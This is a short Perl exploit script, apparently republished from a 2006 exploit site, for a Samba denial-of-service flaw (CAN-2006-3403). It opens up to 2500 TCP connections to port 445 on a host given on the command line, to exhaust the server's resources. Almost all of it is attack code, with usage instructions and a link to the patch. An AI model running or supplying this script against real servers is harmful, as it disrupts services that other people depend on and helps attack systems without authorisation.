Rated as : Critical risk
# Samba Internal Data Structures Denial of Service Vulnerability Exploit
# Coded by joffer
# Thanks to Sertys for the tip
# Vulnerability :
http://securitydot.net/vuln/exploits/vulnerabilities/articles/18014/vuln.html
# PATCH :
http://us4.samba.org/samba/ftp/patches/security/samba-3.0-CAN-2006-3403.patch
# http://securitydot.net
use IO::Socket::INET;
unless($ARGV[0]) { print "Example usage : perl samba.pl HOSTNAME
\n"; exit();}
$count = 0;
while ($count <= 2500) {
print "Making connection number $count \n";
$count ++;
my $sock = IO::Socket::INET->new(
PeerAddr=>$ARGV[0],
PeerPort=>'445',
Proto=>'tcp'
)
|| die "The Samba is dead \n";
}
securitydot.net - 2006-07-21
|